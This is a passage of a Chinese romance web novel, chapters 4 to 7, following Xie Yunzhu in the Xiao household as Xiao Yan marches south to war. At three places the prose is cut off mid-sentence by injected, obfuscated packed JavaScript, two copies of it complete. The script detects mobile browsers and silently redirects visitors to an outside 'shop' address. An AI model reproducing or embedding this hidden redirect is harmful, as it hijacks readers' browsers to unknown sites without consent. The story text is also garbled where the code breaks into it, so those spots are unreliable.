“云姝,今后你与他打交道的机会只怕不少。望你念在他年少意气,不必与他计较。不过——”他话音微顿,“我也不愿你因此受委屈,若他有过分之处,你尽管与我说。” “我明白。若真到了忍无可忍之时,我自有我的分寸。” “那就好。时候不早了云姝,今日你且安心歇息。最迟明日,我会召集心腹将士,推演出个具体的方案来。” “怀瑾哥,你也早些休息。” 萧晏命下人在屋中添足了炭火,这才起身离去。他的贴身护卫长生不知从何处冒了出来,给他递去大衣。萧晏转身,玄色衣袍很快隐没在帐外的夜色中。 谢云姝独坐案前,不知怎地,睡意全无。她干脆起身想去外头透透气。 北燕的深秋寒意彻骨,她不会穿戴那些繁复的北方厚裘,只得随手抓起一件外衫草草披上。 屋外值夜的侍从都已歇下,整座院落静得可怕,可廊下的灯火却通明如昼——她记得这是萧晏特意吩咐的,说是怕她初来乍到,不习惯北方的长夜。 她推门去,院中冷刺的寒风扑面而来,不消片刻便刮得她的脸生疼。 谢云姝有点不习惯这种冷,像是浸透到骨子里的寒意。 她正欲转身回房,院外却突然传来一阵异响,像是有人重重摔倒在地。 谢云姝心中好奇,提起檐下的灯笼便推门而出。 只见寒夜月光下,一道身影伏在石阶前,浑身像没了活气。 谢云姝微蹲下身子,将烛火凑近去看,才发现那人玄色衣袍被暗红的血渍浸透,紧贴在皮开肉绽的背脊上。 正当她以为是哪位被惩处的奴仆走错地方时,那人听见脚步声,猛地抬起一只染血的手,铁钳般攥住她的脚踝。 谢云姝惊得倒退半步,灯笼掉在地上。光晕摇曳晃动,缓缓照清了那张脸——竟是萧翊! 他面色灰败如纸,似乎每一声喘息都带着破碎的血气。 只听他一字一句从齿缝间挤出:“带我…进去…” 4. 第4章 孤房闭 “ 谢云姝环顾一周,没见到任何人影。 她心一横,弯身将他手臂架在肩上往院内拖。男人身躯沉重,染血的衣裳在青石板上拖出一道血痕。 昏迷前,萧翊死死地攥住她的手腕,他眼底淬着冷光,警告道:“不许叫人。” 谢云姝看着他苍白的脸上,应允道:“好,不叫人。” 可他刚闭眼,谢云姝便轻声地敲醒了院中守卫和丫鬟的门,以厚银拜托他们帮忙处理萧翊的伤势。 哪知,那些仆从们只是稍稍看了一下萧翊的侧脸,便齐齐下跪道:“姑娘,请莫要为难我们。” “为难?此话该从何说起?” 在谢云姝的再三逼问下,其中一人才惶然回答:“夫人已经下令过,不准府中任何人为二公子处理伤口...” …… 谢云姝怔住。 显然,他们对于萧翊的伤势已经见惯不惯。 “去请大公子来。” 话刚出口,底下的奴仆更加垂下头,似乎在斟酌,“夫人说...若是让大公子知道,便要将二公子打死,丢去野外喂狗...” ...... 谢云姝眼神往床榻间看了一眼,烛火之下萧翊的面容显得有些苍白,瘦削。她轻叹一口气,“去拿些金疮药,剪刀和纱布来。” “姑娘,这...夫人若是知道了...” 谢云姝抬眸道,“难道就让他死在这寒风天里么?你们只管将东西找来,无需动手,出了事我负责。” 仆从们面面相觑,犹豫了一会儿,萧翊耷垂在床榻一侧的手指渐渐滴出血来,是伤口撕裂。 谢云姝低声呵道:“快去呀!” 那些人这才慌张地去取药,又临时烧了些水。 谢云姝拿起剪刀,就着烛台的光,仔细观察他的伤口。好在她常随父亲出征,在战场上见过太多伤员,基本的救治还是懂的。 她蹲在床榻前,小心翼翼地剪开那早已与皮肉黏连在一起的衣料,有些黏得太紧了,撕下来时不免又扯到伤口,床榻上的人发出几声痛苦的呓语。 约莫小半个时辰,谢云姝额头和鼻尖覆上了一层薄汗,素娥贴心地走近,递去手帕拭汗,走近了些,她无意间瞧见二公子的背部。 只一瞬,她惊地倒吸一口凉气。 血肉模糊的伤痕纵横交错遍布着,有些已经发黑结痂,脓血混杂着凝固的血污,往外渗着血水。 最深处的那几道伤口皮肉外翻,深可见骨。 素娥吓得脚步一踉跄,差点撞到一旁的器物架。谢云姝向她递来个关切的眼神,后者稳住心神感激地朝她福了一礼,往后退了些。 谢云姝重新凝视着这伤口,血痂凝固在伤口上,她需得用些力去搓开,再用水洗尽,敷上金疮药。 她接过另一位丫鬟递来的温水湿布,小心处理。 屋内烛芯噼啪作响。 在无人看到的背面,萧翊额角豆大的汗珠滚落,药粉触及伤口后,其灼伤之痛更是难以比拟。 他肌肉紧绷着,脊背如一张拉满的弓,止不住颤抖。 谢云姝垂眸,手指拈着药勺继续专注地处理伤口,只是手下的动作轻了些。 等到后半夜,烛台中的蜡泪已经积了另一圈,她终于放下卷起的衣袖,开始收拾散落的药瓶。 随侍的奴仆各个倦色难掩,用手帕袖子捂住哈欠。 谢云姝觉得抱歉,便吩咐他们下去休息。 临走前,她出言提醒,“深更半夜,二公子一身染血留宿在我房中,传出去我百口莫辩。今夜之事,还请各位莫要声张。” “姑娘放心,奴婢们定不会乱说。” 谢云姝倒不担心她们走漏风声,毕竟以徐夫人极恨萧翊的性子,恐怕知道了后,这些仆从们也免不了被波及的下场。 只是她凡是皆求一个“稳”字,还是命为首的婢女交出了她掌事令牌,由她代为保管。 众人散去后,谢云姝望了一眼床榻上那人略显青涩的面容,轻手轻脚将门拉开一道细缝,只一瞬,寒风猝然涌入,谢云姝被冷猝不及防,鼻头被冻红了一块儿。 谢云姝裹紧衣物,坐在庭院前的门槛上,抬眸望向斜挂枝头的寒月。 蜀地的月亮,此时此刻是否如北燕一般圆? 随着门扉“吱呀”一声合上,床上的人眼皮也动了动。 夜,悄然流逝。 不知过了多久,她倚靠的门扉开出一道细缝。谢云姝重心不稳,向后倒去。 一双手臂,从后面牢牢地接住她。 谢云姝登时从迷糊中清醒过来,她理好衣物,站起神来与萧翊拉开一段距离,“二公子醒了,身体可还有不适?” 萧翊盯着她,缓缓摇头。 “那就好。”她声音清浅,带着几丝寒夜的倦意,“这几日伤口切忌沾水,否则感染加重,恐伤及根本...” 说完,谢云姝便下了逐客令,转身欲回房,身后却响起了一道清冷的声音:“为什么?” 为什么要救他? 他已经习惯了,遭受冷眼,欺凌。萧翊上下审视着她,带着十足的戒心。 谢云姝连头也没回,“举手之劳而已,二公子不必挂怀。” “流言如猛兽,你不怕大哥知晓,伤害你们之间的感情?”萧翊神情古怪,眼眸中似乎藏了一些复杂的情绪,整个人透着阴郁和冰冷。 谢云姝脚步一顿,缓缓转身,“若是你大哥知晓,只会感激我救了他至亲的弟弟。” “至亲弟弟?”萧翊声音低哑,胸腔里似乎有种积压了很久的怨气和委屈,“你了解他多少?” 谢云姝抬眸静静望他,坦然道:“不多。” “既然不多,你又凭什么认为他是真的关心我?没准他从始至终也想我死,只是他善于伪装,骗过了所有人。” “你相信一个人的眼睛,不会说谎么?” “什么?” 谢云姝活了十几年,见过许多双眼睛: 弟弟谢琅的眼里,是未经世事的纯粹稚嫩,像一汪清浅的溪水; 父亲谢蕴的眼里,是历经风霜的沉稳,凝着几分忧国忧民的沉重;35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢云姝回房,发现榻上被萧翊躺过沾血的袍子已经被换下,烦躁的心情有所缓解。她轻轻躺下,目光却仍不由自主地望向床顶,辗转反侧,难以入眠。 她不得不承认,萧翊的话语如同一根细刺,给她带来了困扰。直至天光微亮,她才勉强阖上眼皮,陷入浅眠。 朦胧间,她做了一个梦。 梦中,她看见萧晏亲率铁骑南下,势如破竹。 不到三日,葛威被斩于马下,刘显失踪,公孙袭的军队节节败退。可就在母亲和幼弟欣喜地迎出城门时,却见她的叔父谢晋带着亲信拦在军前,厉声喝道:“西南十四州乃我谢氏根基,岂能拱手让人?” 下一秒,她看见萧晏缓缓举起手中长刀,笑得阴冷。 “不!” 谢云姝眼睁睁看着那道寒光划过,然后鲜血从谢晋的脖颈上喷溅而出,萧晏的脸被血珠浸地可怖。 他坐在马上,杀红了眼,举着尚在滴血的长剑对着手底下的士兵命令:“血洗蓉城,一个不留!” 母亲温柔的笑脸凝固在血光中,幼弟谢琅倒在血泊里,一双圆溜溜地大眼睛死死地盯着她,恨道:“阿姊…你为何要引狼入室?” 倏地,谢云姝猛地惊醒,她大口地喘着气,冷汗已浸透衣衫。 还好,只是一场梦。 5. 第5章 出征 翌日,清晨。 谢云姝早早醒了,不知为何,她心跳地厉害。洗漱过后,门外传来小厮的通传。 萧晏来了,他屏退了所有人,站在谢云姝面前郑重地道:“云姝,昨夜我已与孙先生及三位部将认真商讨过,决定三日后亲自启程南下,出兵蜀地。” “同时,昨夜我已急信传至置厝,命郭嘉阳秘密沿岷江下游,摸进公孙袭后翼等待时机。” 闻言,谢云姝心中的巨石终于落地,她眼眶微热,难掩面上的激动,“怀瑾哥...” “谢谢,谢谢你愿意出兵。这份恩情,蜀中百姓定会铭记!” 整军出征,商讨军策并非朝夕之事,谢云姝瞧着萧晏眼下愈重的乌青,他定是彻夜未眠,才能在如此短的时间内做出这般周全的安排。 只是不知道为何,高兴之余谢云姝左眼皮一直狂跳,耳边也有些嗡嗡地。 萧晏安抚性地扶住她的背,“云姝,蜀中不仅有万千黎民,更有你的至亲。你既将性命与信任托付于我,我又岂能辜负?” 几乎是一瞬,昨夜的噩梦涌入她的脑海。 眼前的人变成青口獠牙的猛兽,他坐在马上,杀红了眼,亲手将蜀中变成了人间炼狱。 只不过这一次,是她亲手引狼入室。 “云姝,你怎么了?”萧晏关心的话语从耳侧响起。 “没什么,”谢云姝稳住心神,“只是我没想到怀瑾哥你会亲自出兵。” “这件事昨夜我也与孙先生合议过,此次公孙袭率诸侯围剿蜀中,实在来势汹汹。更何况,据你先前所说,他们派来的杀手一直追杀你至北燕地界。” “对于萧家出兵一事,他们已有防备之心,若我们还以常理出牌,恐胜算不大。更何况,置厝守军大多为前西戎降军改组,他们只听我一人号令,旁人难以驱使。” “可如今北燕局势尚不明朗,魏梁两家正虎视眈眈着盯着萧家,你母亲可同意你亲自南下?” “母亲出身将门,对天下局势也有见解。来之前我已到母亲处与她商议,她虽有些担心,但最终也应允了。” “什么...”谢云姝脚步有些虚浮,但再反驳的话她也说不出口,毕竟萧晏战场之威名,确实能从一开始就能起到震慑敌军的作用。 更何况,为了蓉城守军,为了母亲和弟弟,让萧晏亲自南下确实更加稳妥一些。 她不能因为一个梦,而自乱阵脚。 ...... 这两日,府中上下都在紧锣密鼓地张罗着出征一事,动作之大,不可能不惊动魏梁两家。 光是谢云姝无意中在仅有的活动范围内闲逛,就已经听到了府中不少于三次的议论。 魏梁两家,似乎在蠢蠢欲动。 只不过这种声音,马上就被另一桩“丑闻”给掩盖了,并且谣言甚嚣尘上。 这一日,萧晏来找她一起用膳。 没过多久,门外一阵急促的脚步声响起。 “少主,出事了。” 来人,是萧老夫人面前的老媪钟嬷嬷,她处事稳重,鲜少会这么失态。 “夫人一大早便命人将二公子抓了绑在院中,用极刑鞭打,这会儿二公子已经快要不省人事了。” “什么?”萧晏的脸色沉了下去,“祖母呢?” “换季这些时日,老夫人的腿疾又犯了,因此不便外出,她老人家才命我多注意些二公子的动态,谁曾想今早,夫人二话不说便将二公子绑了...” “胡闹!阿翊再如何,也是萧府的二公子!”萧晏话音未落,人已疾步向外走去,谢云姝与钟嬷嬷立即紧随其后。 她隐隐觉得,此事与她有关。因为她总感觉这两日,府中对她侧目之人,越来越多。 是前夜之事传出去了? 临行前,谢云姝目光沉沉地掠过房中随侍的下人们,被她眼神扫过的仆从皆心惊地摇头,表示他们不知情。 “钟嬷嬷,母亲这次究竟是为何动怒...” 萧晏边走边询问情况,三人步履如风,穿过重重庭院往祠堂去。 刚踏入祠堂院门,一股压抑的血腥气便扑面而来,只见萧翊被缚在刑凳上后背衣衫尽裂,血痕交错...... 徐夫人手持家法,立于堂前,满面寒霜,“给我继续打,打到他求饶认错为止!” “住手!母亲这是要做什么?” 萧晏的声音陡然拔高,带着前所未有的厉色。他快步走到倒地的萧翊身旁,俯身查看弟弟背上纵横交错的伤痕,眸中怒火翻涌。 “来人,”他沉声喝道,“将二公子带下去疗伤。” “我看谁敢动!”徐夫人一声冷斥,如冰锥坠地,惊得正要上前的仆从们僵在原地,进退两难。 “我说了,带二公子下去。”萧晏缓缓直起身,一字一顿。他向前迈出一步,恰好挡在母亲与弟弟之间。 堂内的烛火在他眼中跳动,浸透出属于萧家少主的威严。堂上静得可怕,母子二人对峙而立,空气仿佛凝固成了冰。 徐夫人的目光在他们交叉的手臂上停留了一会儿,缓过一口气,和声道:“晏儿,你久不理府中事务,不知道你弟弟又做了什么荒唐事...” 话音刚落,府中奴仆神色各异。 萧晏迎头看向徐夫人,“无非是前夜,阿翊负伤被云姝抬进屋中的事。” 徐夫人眼神一变,“你知道?” “既然你知道,就应当知道我为何要管教他。” “深更半夜,他竟然独身闯入女子的房中,那女子还是你未来的妻子...” 徐夫人的目光进而转到谢云姝身上,不过片刻,她便收回。 “只要我在萧府一日,我便绝不容许任何人做出有损萧家名誉的事来。” 此话一出,如平地惊雷一般重重地砸在了众人心上。 就在所有人的目光都在萧翊和谢云姝身上逡巡时,谢云姝却把目光放在了徐夫人身上,她刚才看自己的眼神,有些耐人寻味。 像是一种,心虚? 钟嬷嬷见形势不对,立刻使眼色遣散众奴仆。谢云姝也正欲退出,可一只手沉稳地攥住她的手腕,“云姝是我未来的妻子,无需避讳,我也决不允许任何人平白污她清誉。” “晏儿,你这话是何意?” “母亲,您不要以为我不知道前些天阿翊为何会重伤倒在云姝的院前。” “先前我之所以睁一只眼闭一只眼,是盼着时光能消解您心中的怨怼。可我的默许,换来的却只是您的变本加厉。” “昨夜若不是云姝心善救下阿翊,此刻他早已是倒在院外的一具白骨!” “那又如何?”徐夫人冷笑,眼底翻涌着积年的恨意,“他的存在本身,就是萧家的耻辱!” “有错的从来不是阿翊,”萧晏一字一顿,“是父亲。” “住口!”徐夫人扬手重重掴在萧晏脸上,声音颤抖:“没有你父亲征战沙场,哪有你今日的一切?他被人所害才留下污点,你身为人子不懂得体恤他,这是不忠不孝!” 萧晏受了一掌,神色不变,“可阿翊又有何错?” “你到现在还护着他?他一个贱婢所生的野种,到底有哪里值得你疼惜偏袒?” 萧晏微微倾身,“母亲,儿子是为您痛惜啊。” “您总说,父亲戎马半生为萧家立下汗马功劳,但母亲这些年来执掌中馈、安定后方又岂是易事,萧家能稳坐北燕三族之首,何尝没有母亲一半功勋?” “从前儿子年少,曾听过北燕百姓夸赞母亲是将门豪杰,跟随父亲驰骋沙场,冲锋陷阵,从无败绩!” “可那个英姿飒爽的将门千金,如今却渐渐被围困在后宅之中,终日与怨恨为伴...” 他的话语如同重锤,敲在徐夫人心上。 她微微一怔,似乎是想起了那段很久以前的戎马倥偬的岁月。当年,她也曾执剑策马,驰骋于大漠的风沙与猎猎旌旗之中,无惧天地。 只是不知道从何时起…她已经变得连自己都可憎。 “儿子不想让您一辈子都这样,母亲,放过阿翊何尝不是放过您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659107|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己?” “我……” 徐夫人唇瓣微动,后面的话却哽在喉间。 见徐夫人眼神微动,萧晏适时上前一步,声音放柔:“儿子明日便要南下,此行凶险未卜。临行在即,母亲…当真还要与我置气么?” “你懂什么…”徐夫人柔和的目光又渐渐冷下来,“我这么做,都是为了你,为了北燕的统一和天下!萧翊此人心思深沉,从不显露野心,他就是个狼崽子,为娘若不是不帮你防着点,他日他若是抢了你的一切…” “母亲!”萧晏打断她,不想再听下去。很显然,这样的对话已经在他们身上出现过很多次。 徐夫人也沉默了,片刻后她伸出手,为萧翊理了理本已整齐的衣襟,动作略显生硬,“我儿威扬,明日出征必能凯旋!” 萧晏看着母亲,终是无奈地低低一叹。 而不远处,谢云姝却冷眼看着他二人,目光中带着淡淡的审视。 -- 很快,谢云姝便懂了徐夫人那个心虚的眼神,是出于什么。 萧晏出兵,乃是秘密行事。 徐夫人既想成全萧晏南下征伐的威名,又想稳住北燕的局势,避免魏梁两家趁萧晏不在蓟州而蠢蠢欲动。不得已,她只能将萧翊夜闯谢云姝房中的“丑闻”大肆宣扬出去。反正,萧翊在北燕是出了名的纨绔,做出这等事也不稀奇。 萧晏可借此“丑闻”,怒气出走趁机混淆视听。而由何将军率领的五千精兵小队,已经在子时率先出城,秘密在城郊待命。 至于她谢云姝的名声… 平心而论,只要能解蓉城之困,这一点名声算什么? 她在乎的仅有一点,那就是萧晏是否从一开始就知情。 只不过从祠堂回来后,萧晏整个人便忙得脚不沾地。直到出征前的那一晚,他才得空过来一趟。 此时萧晏已经铠甲加身,一进门,他便开门见山,“云姝,我要向你解释清楚。” 厚重的铠甲带着夜晚的寒气,他向前一步,眼神真诚,“昨日发生的这一切我并不知情,我并非与母亲合谋起来骗你,你的清誉,我看的比谁都重!” “怀瑾哥,有你这一句便足够了。”谢云姝抬眸,打断他的话,“只要能救母亲和弟弟,清誉于我而言并不算什么。” “那就好。”萧晏朝她一笑,伸开了手臂,“袖袖,抱一下。” 这还是萧晏第一次叫她的小名。 谢云姝心中升起一丝郝然,同时又有对战场局势的紧张和担忧,但她还是毫不犹豫地环抱住萧晏的腰,“怀瑾哥,我想同你一起南下。” “这可不行。” 萧晏笑着轻轻推开她,“战场上刀剑无眼,我可不舍得你去受苦。” “我已禀明母亲,这些时日,你便安心留在府中,与她一同筹备我们的婚事。待我凯旋,便在那夜迎你为妻。” 两相对视,二人目光紧紧交缠,萧晏轻抚她的脸颊,郑重许诺:“云姝,你放心。我一定会救下你母亲与弟弟,届时请他们到北燕,让他们一同见证你我成婚之礼。” “好,”谢云姝轻声应道,目光坚定,“我等你。” “袖袖,我还有一个东西要交给你…” —— 是夜,月隐星沉。 萧府门前数盏风灯在夜风中摇曳,映照着一行人沉默的身影。 谢云姝站在徐夫人身侧,望着即将远行的人。徐夫人神色平静,只淡淡道:“万事谨慎。” 萧晏深深望了母亲一眼,又转向谢云姝。他不顾身旁人眼神,将头抵在谢云姝额前,目光沉静而坚定,“袖袖,记住我同你说的话,帮我照顾好阿翊。” “嗯。” 得到应允后,他终是有些不舍地翻身上马,“保重。” 随后,马蹄声起,一行轻骑很快隐入夜色深处,渐行渐远。谢云姝凝望着他消失的方向,直到最后一点声响也归于沉寂。 …… 那时她还不知道,再次听到萧晏的消息,会是阵前传来的,他战死的讣告。 6. 第6章 嫁衣 进入十月,蓟州城内已经开始飘雪。 谢云姝早晨起来时,屋外已经亮莹莹地被雪盖上了一层。 她长在蜀地,极少见到这般盛大的雪景,一时欢喜得连鞋也顾不上穿,赤着脚就奔下了床。 素娥急得在后边连声唤:“姑娘!您好歹把靴子穿上,仔细冻着了!” 果然一推门,一阵冷得如刀锋割面一样吹过来,裹着斜斜飘进来的雪,点白了她的鬓发。 谢云姝被冻得一个激灵,缩着肩老老实实转回屋里,由素娥伺候着穿好雪靴,系紧了那件银狐裘大衣。 瑞雪兆丰。 才刚用过早膳,徐夫人身边的刘娘便遣人送来战场捷报,说置厝守军已经越过岷江,绕至公孙袭后方,大军势如破竹。 “当真?”谢云姝喜得眼眸发亮,裙裾微微拂起。 “姑娘,夫人还请您去她那里一趟。” “嬷嬷可知道是为何事?”因她尚未正式过门,徐夫人待她礼仪从简,并不要求她日日晨昏定省。 这些日子以来,他们也唯有上次请人来量制婚服时才见过一面。 刘娘眉眼含笑,每道皱纹里都漾着慈祥的喜气:“是您的婚服做好了,夫人请您过去瞧瞧,可还满意。” 这话一出,院里扫雪做活的仆婢们纷纷停下手中活计,笑着向她道喜。 素娥这些日子与她熟稔了,也大着胆子打趣:“奴婢在此先恭贺少夫人与少主大喜!” 谢云姝颊边飞起一抹红云,心头甜暖。跟在嬷嬷后面,步履轻盈得似要踏雪而飞。 一路上,风雪渐大。才一会儿不到的工夫,她的披风上已经缀满了雪。 等穿过两道月洞门,谢云姝站在院前将狐裘的落雪仔细地抖去。 大抵裁缝商人对着徐夫人说尽了恭贺的喜话,哄得徐夫人也喜上眉梢。 她语气和缓,对着行礼的谢云姝,道:“免礼,快看看这嫁衣喜不喜欢?” 谢云姝这才起身,侧目往一旁楠木架上披挂着的大红嫁衣。 红蟒暗花的缎彩长袍,曳地数尺,袖口与裙摆处密密匝匝缀着细小珍珠,在雪色下被映衬地流光溢彩,端庄华贵。 真美啊… 她不自觉地向前迈了一步,指尖轻轻抚上嫁衣冰滑的缎面。 内心,有一种隐隐的紧张。 周遭的一切道喜声渐渐一种虚化,仿佛此刻萧晏就站在她面前,身着玄纁喜服,二人并肩相望着,在满堂红烛的辉光里对彼此许下终生... 不消多言,屋内的人笑开怀来,刘娘高兴地领人下去领赏。 “天寒,这儿炭火旺,” 徐夫人瞧着她一身裹得严实,道:“你坐近些。” 谢云姝微愕,朝她那边挪了一下身子。 徐夫人从怀中取出一张信笺,上面印有军中专用的火油戳,谢云姝再熟悉不过,这是萧晏寄回来的家书。 信笺已经被打开过,谢云姝接过来缓缓展开。萧晏的字遒劲,下笔的力道透过纸背。 她一目十行地读着,有些激动。 太好了,萧晏已经遣副将前往蓉城与卫期将军接头,信中说母亲和弟弟都没事! 这是天大的好消息! 耳侧,传来徐夫人的话,似在嗔怪,“我儿长大了,满心满眼都是他喜欢的姑娘。你看看,这这几页纸中,有多少处是问你安好的?” 闻言,谢云姝压下心中的狂喜,垂眸。 “罢了罢了。他非你不娶,想必你定有过人之处。既然他在阵前勇猛,我便不在后宅琐事上为难你。” “母亲已经请先生算了好几个吉日,等晏儿一回来,你们俩便早些成婚。往后嫁做人妇,你要懂得替他排忧解难,早早生个儿子出来,替萧家开枝散叶...” “女儿也行。”徐夫人补充道:“我萧家之后,不论是男是女,都值得最好的。” 谢云姝今年已经十七岁,可还从未想过孕育孩子的问题。只是长辈在上,她也不好说话反驳,只垂首在一旁静静听着。 只盼,怀瑾哥能击退敌军安全归来,母亲与弟弟,还有蜀中的万千子民能够不再流离失所,今年能过个安生年。 ...... 窗外虽霜雪满天,屋内却炭火兴旺,其乐融融。 眼见着快到午膳时间,下人来来往往,仆从请示徐夫人是否可以开始布膳。徐夫人点了点头,便开口留谢云姝一同用膳。 谢云姝没有理由拒绝。 膳食上,徐夫人吃得清淡,入冬之后更是以养生汤食为主。谢云姝却不怎么吃得惯,没怎么动筷。徐夫人注意到了,便遣刘娘下去交代了些什么。 吃完,已经过去小半个时辰。徐夫人有些乏,谢云姝便借口退下。 刚推开门,正巧碰上回廊出等候的方管家,他神色匆匆,向谢云姝行过礼之后,便向徐夫人请示求见。 谢云姝也向她颔首,继续往外走,只听到里头传来淡淡的,极冷的声音,“我说了,他一日不承认,就让他在外头跪上一日。” 方管家的声音极小,带着恻隐,“可二公子...” 话还没说完,风雪将他的话吹弱,谢云姝什么也听不到了。 乌云盖住了天,风雪又大,她拢紧衣襟,沿着小径深一脚浅一脚地加快步伐。将至正门,她目光不经意掠过月洞门外,远远地看到了几道跪着的身影。 为首的那人被风雪压得佝偻着,在在茫茫白色的雪里缩成一个小点。 走进一看,谢云姝脚步停住,是萧翊。 远远地,萧翊像是感应到她的视线也看了过来,这一次,他的眼眸里冰冷地像是没有一丝活气。 谢云姝走上前去,问道:“这一次,又是因为什么受罚?” 萧翊没有抬眼看她。风雪仿佛抽走了他身上最后一丝活气,连跪姿都显得格外僵硬。身后的侍卫忠心耿耿地陪着跪在雪地里,终究忍不住低声怨道:“夫人要罚公子,何曾需要过理由?” 萧翊用尽最后一丝力气,厉呵道:“瑞平,住口。” 被呵斥的奴仆转而面向谢云姝,在积雪中重重叩首,“姑娘,您和少主都是心善之人。求您去和夫人说一说吧,二公子背上的伤还未好,这样下去要出人命的...” “瑞平!”话音未落,萧翊因体温过低,整个人直直栽倒在皑皑白雪之中。 谢云姝有些犹豫。身为女人,她从某种程度上可以理解徐夫人的心境。可是,她耳旁响起萧晏出征前对她的嘱托,“云姝,替我照顾好阿翊。” 于是,她终于下定决心,循着来时的脚印再一次站在了徐夫人的房门前。 ....... “想要当好人救他?谢小姐,别忘了你的如今的身份。莫说你还未嫁入我们萧家,就是嫁进来了,你和他也隔着叔嫂的关系,你这样袒护他,难道你们之间真如前几日的传闻所说...” 屋内,熏香将徐夫人内室的装饰撩动着,谢云姝看不清她的脸,只是隔着珠帘望进去,“夫人,这府中的传闻是如何来的,您最清楚。” “你在怪我?”她不卑不亢的神情惹恼了徐夫人,她冷呵道:“在这府中,还轮不到你来教训我。” “夫人,云姝不敢。我是为了您着想,您这么厌恶萧翊,若是让他这么轻易就死了岂不是便宜了他?” “你倒是会说话。”话虽如此,她还是撇过头,似乎也是觉得前几日的事做得有些不光彩,“人,我可以放,但是只此一次。往后他的事你不可再插手,莫要做出有损晏儿名声的出格之事来。” “是,夫人放心。”谢云姝屈膝颔首,乖巧地点头。 “罢了,你退下吧,我让方管家叫人抬他回去,死不了。” ...... 不知过了多久,仆从们小跑着将雪地里的萧翊扶起,他的四肢已经冻得僵硬,眼睫上的寒霜压得他睁不开言。 “二公子!” 这么冷的天里,他一跪便是两个时辰,这要是出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659108|188353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人命,少主回来他们可怎么交代?仆从们惊恐地喊着,动作手忙脚乱。 夫人也真是心狠! 这话没人敢说出来,可府上的人哪个不是这么想的? “等等!”谢云姝几步追上前去,将自己的狐裘大衣解下,“快给他披上。” 严寒作战时她也见过被冻得失温的士兵,嘴唇发紫,双瞳有失焦迹象。 “这...” “姑娘,那您呢?” “不必管...我。”脱下大衣的一瞬,风雪透骨,谢云姝几乎是打着颤咬牙说完最后一个字。 人命关天,仆从们也不再替萧翊推脱,只是再抬眼少夫人已经跑出大老远... 忽然,“噗”地一声,谢云姝一股脑栽在雪地里。 真丢人,跑太急了... 谢云姝立马从早上看见雪的喜悦中抽离出来。 这鬼天气真冷。 难怪母亲总说北燕之地苦寒,她不舍得将自己嫁过去,每每说起来还总是掩面哭泣。 ...... “天!” 素娥见一身单薄的谢云姝披着风雪跑回来,被吓破了胆。 “快去备些热姜茶!” 她赶紧又取了一件玄麾大衣裹住她,汤婆子也一并塞过来,“再搬些炭火来!” 做完这些,素娥还觉得不够,“软垫呢,再拿两个来给姑娘垫上...” “好了,素娥,不必如此紧张。”谢云姝被裹得严严实实,说话时嘴里还喷着寒气,“我并非久居闺阁之人,身子骨不差的。” “姑娘,您是不知这寒冻天的风雪有多厉害...”她似乎想起些伤心事,“是会死人的...” 闻言,谢云姝不禁想起了萧翊。炭火荜拨,偶尔滋滋地往外冒着火星子。 “不说这些了。姑娘,方才午膳间,夫人遣了几个老宅的厨子过来,说是他们会做蜀地的菜式,往后便留在咱们院中,看来,夫人也很喜欢您呢。” 谢云姝笑笑,沉默了一会儿,“素娥,你去找张平过来。” 张平,是她院中的掌管例银月供的管家。 不过片刻,张平冒着风雪在廊下求见。 谢云姝开门见山,“张管家,往后我们院中一切银钱炭火,除却下人们必需,都折算出一半送去二公子处吧,注意要隐蔽些,切不可让夫人发现。” 其他的,就让萧翊自求多福吧。 闻言,素娥大惊,“姑娘!” 张平也忍不住侧目。 待张平领命下去后,素娥才小声地抗议,“姑娘,您为什么要对二公子这么好!自从上次祠堂一事后,府中人都在传您和二公子之间...” “素娥,身正不怕影子斜。此事,我自由分寸。” “可...”素娥欲言又止,“二公子实在不是什么好人...” 一时沉浸在自己思绪当中的谢云姝并没有听清楚素娥的话,只是开口转移话题:“素娥,我饿了,有吃的么?要辣口的。” 素娥收起话头,“有的,我这就去给姑娘拿。” ...... 许是有些水土不服,近来,谢云姝总是多梦,半夜身子还烧了起来。 “不...” 她仿佛坠入了一个无边的冰窖,在刺骨的寒水中挣扎了许久,四周却仍是一片望不到尽头的漆黑。忽然,水中漫开一片浓稠的猩红,将她团团围住。谢云姝揉了揉被水刺痛的眼睛,突然发现前方堆积着无数尸体。他们身披铠甲,鲜血从他们身上汩汩涌出,将整条河流染得通红。 是谁的血? 谢云拼命向前游去,水下的暗流却拉扯着她的身子,让她几乎无法前进。就在她快要接近尸堆最前方时,蓦地瞥见一具尸首的盔甲格外熟悉,那纹样、那制式... 谢云姝心头一紧,用尽全身力气想要游近,却在看清对方面容的前一刹那,猛地惊醒。 “萧晏!!!” ...... 7. 第7章 祭礼 天刚蒙蒙亮,岷江河畔。 马蹄包裹着麻布,五千玄甲军正摸着黎明前的浓雾悄然渡江。正此时,东南天际突然炸开三支赤色火箭。这是置厝军摸进公孙袭后翼,焚毁他在乌鸦岭粮道的信号。 萧晏勒马立于高岗之上,身后的斥候陈梧自雾中滚鞍下马,“少主,五千玄甲军已蓄势待发。”公孙袭的守军被牵制在东线,这是他们最好的时机。 “传令下去,”萧晏一夹马腹,乌骓马跃下高岗,“取公孙袭首级者,赏千金——” 剑刃出鞘,破开浓雾。 